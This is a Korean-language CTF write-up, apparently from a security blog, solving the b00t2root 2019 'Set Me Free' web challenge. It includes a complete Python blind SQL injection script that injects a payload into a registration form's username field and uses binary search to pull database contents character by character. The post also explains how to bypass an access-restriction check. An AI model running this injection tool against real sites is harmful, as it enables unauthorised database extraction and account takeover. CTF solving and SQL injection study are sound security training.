White Security
Set Me Free 문제풀이 본문

b00t2root 2019 web 2번
SQL 인젝션 문제입니다.

링크에 접속하면 소스가 출력되는 것을 확인할 수 있습니다.
다른 페이지에서도 모두 마찬가지입니다.


가입 페이지에 접근하면 위와 같은 소스를 볼 수 있는데
유저를 생성하기 위해 유저네임이 사용중인지 검증하는 쿼리에서
문자열 escape 처리가 되어 있지 않은데요.
여기서 blind sql injection을 사용해 문제를 해결할 수 있습니다.
from urllib import request, parse
import sys, math
def send(query):
data = parse.urlencode({ 'username' : "') and if((%s),1,0) #" % query }).encode()
req = request.Request('http://3.16.68.122/smf/register.php', data = data)
req.get_method = lambda : 'POST'
res = request.urlopen(req).read().decode()
return res.find('User Not Registered') != -1; # means true
def greater_than_or_equal(query, i):
return send('%s >= %d' % (query, i));
def equal(query, i):
return send('%s = %d' % (query, i));
def search(query):
min_val = 0
max_val = 128
while min_val + 1 < max_val:
mid = math.floor((min_val + max_val) / 2)
if greater_than_or_equal(query, mid):
min_val = mid
else:
max_val = mid
if not equal(query, min_val):
return search(query)
return min_val
def get_length(query):
return search('length((%s))' % query)
def get_and_print_content(query, length):
content = ''
for i in range(length):
content += chr(search('ord(substr((%s), %d, 1))' % (query, i + 1)))
sys.stdout.write('\r[%s] %s%s' % (length, content, '_' * (length - len(content))))
print('')
return content
if __name__ == '__main__':
arg = ' '.join(sys.argv[1:])
content_len = get_length(arg)
get_and_print_content(arg, content_len)

파이썬 3.7 기준 코드로 이진 검색을 사용하여 작성하였습니다.

users 테이블과 chck 테이블에는 사용자 정보와
접근 제한 정보를 따로 설정해 두었습니다.
처음에는 isRestricted 값이 FALSE 인 계정을 찾아보았는데
전혀 존재하지 않아서, 애초에 chck 테이블에 등록이 되지 않은
계정을 탐색하였습니다.

chck 테이블에 등록이 되어있지 않으면
isRestricted 값이 FALSE 인 상태와
동일하게 분기를 통과하게 됩니다.

따라서 chck 테이블의 userid 칼럼과 중복되지 않은
users.id 값을 가지고 있는 계정을 찾아 로그인 하면 되겠습니다.

'CTF Writups' 카테고리의 다른 글
| eXquisite Scenery Sites 문제풀이 (9) | 2019.03.30 |
|---|---|
| PingService 문제풀이 (0) | 2019.03.30 |
| Easy PHP 문제풀이 (0) | 2019.03.30 |
| neverlanctf 2019 - React to this writeup (0) | 2019.02.04 |
| neverlanctf 2019 - purvesta writeup (0) | 2019.02.04 |
Comments